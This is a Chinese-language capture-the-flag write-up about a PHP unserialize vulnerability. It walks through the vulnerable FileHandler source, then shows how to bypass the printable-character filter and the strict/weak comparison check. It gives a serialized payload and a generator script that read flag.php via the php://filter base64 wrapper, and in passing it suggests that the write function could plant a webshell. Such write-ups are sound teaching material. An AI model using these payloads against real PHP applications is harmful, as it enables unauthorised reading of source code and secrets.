`
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
首先 我们开始进行代码审计
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
从最后一行我们可以发现 这是需要发送一个 get请求 str
并且他是被反序列化的 所以我们需要把上面的一串子代码序列化
2
我们先分析FileHandler 这个类里面的属性
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
首先我们来看第一个 这个__construct()
他的意思就是 当这个类被具体化的时候 这几个属性都会被附上值`
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!
就像这样赋值了 并且将这个传给 process()
这个函数
我们看看process()
这个是怎么判断的
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
他是说如果$op=1
那么他就会传给write
方法 不是的话就会传给read
方法 并且输出$res
这时候我们要知道我们的目的 那就是 拿到flag 所以我们现在已经有眉目了 先看看 这俩函数说什么
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
首先来看这个private函数 他是私有的 所以说 他这个东西 只能在内部调用
我们抓住一个关键点file_put_contents
这个函数是说 把一个字符串写进写入文件中。. 与依次调用 fopen (),fwrite () 以及 fclose () 功能一样。. (感觉这里可以写一句话木马进去 emmm下次研究) 所以说这个写的功能对我们来说是没有用的 我们需要看到flag! 那么看看read方法
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
isset
就是说若变量不存在则返回 FALSE
若变量存在且其值为NULL,也返回 FALSE
若变量存在且值不为NULL,则返回 TURE
关键点来了 结合上面会输出$res
而res = file_get_contents($this->filename)
file_get_contents
这个函数就有说法了
整个文件读入一个字符串中。ile_get_content()可以读取php://filter伪协议
3构造paylod
需要绕过两个地方:
1、is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。
绕过方法:
①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
O:11:"FileHandler":3:{S:5:"\00\00op";i:2;S:11:"\00\00filename";S:8:"flag.php";S:10:"\00*\00content";S:7:"oavinci";}
2、__destruct()魔术方法中,op==="2"是强比较,而process()使用的是弱比较op=="2",可以通过弱类型绕过。
绕过方法:op=2,这里的2是整数int类型,op=2时,op==="2"为false,op=="2"为true
我这里是用 第一种方法public绕过的 is_valid()
大家可以尝试一下第二种
<?php
highlight_file(__FILE__);
class FileHandler {
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content;
}
$a = new FileHandler();
echo serialize($a);
?>
然后会出现一串base64编码...
这个题到这里也就做完了
总结一下
1.file_get_content()可以读取php://filter伪协议。
2.protected/private类型的属性序列化后产生不可打印字符,public类型则不会。
3.PHP7.1+对类的属性类型不敏感.4. = 一个等号是赋值
== 两个等号是判断相等且只比较值,不比较类型
=== 三个等号是判断值和类型都相等
!= 不等于符号,只比较值,不管类型
!== 不全等符号,比较值和类型
记一个我记不住的知识点
$this:本类
->:的
filename:$filename